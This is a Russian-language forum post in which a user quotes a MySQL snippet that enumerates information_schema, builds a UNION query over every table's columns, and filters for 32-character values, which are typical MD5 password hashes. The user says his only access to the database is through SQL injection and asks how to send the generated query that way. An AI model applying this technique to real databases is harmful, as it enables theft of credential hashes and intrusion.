Показать сообщение отдельно

  #4  
Старый 27.12.2015, 13:10
LeninDie
Познающий
Регистрация: 26.12.2015
Сообщений: 34
С нами: 5464406

Репутация: 2
По умолчанию

Цитата:
Сообщение от XAMEHA  

В рамках одного SELECT запроса - официально нельзя. Неофициально - сейчас только если файлы читать и самим их парсить. В рамках нескольких запросов - можно.
Код:
SET @sql := '(SELECT null as `col_name`, null as `col_value` LIMIT 0) ';
SELECT isnull(@sql := concat(@sql, concat(' UNION (SELECT "', @col_name:=concat(@tbl_name:=concat(t.TABLE_SCHEMA, '.', t.TABLE_NAME), '.', t.COLUMN_NAME),'", (SELECT ', @col_name, ' FROM ', @tbl_name, ' LIMIT 1))'))) as `sql_is_null`, count(*) FROM information_schema.columns t GROUP BY 1;
SET @sql := concat('SELECT col_name, col_value FROM (', @sql, ') t WHERE length(col_value) = 32;');
PREPARE stmt FROM @sql;
EXECUTE stmt;
Если нет доступа к БД - вместо PREPARE и EXECUTE можно самим заслать полученный запрос. Работать будет долго. Запрос смотрит только на первую запись (иначе много мусора и работает намного дольше). Если есть ограничения на длину - засылать придется по частям.
доступ к бд только посредством sql inj

вот что получилось:



"Если нет доступа к БД - вместо PREPARE и EXECUTE можно самим заслать полученный запрос." - можно поподробней?
 
Ответить с цитированием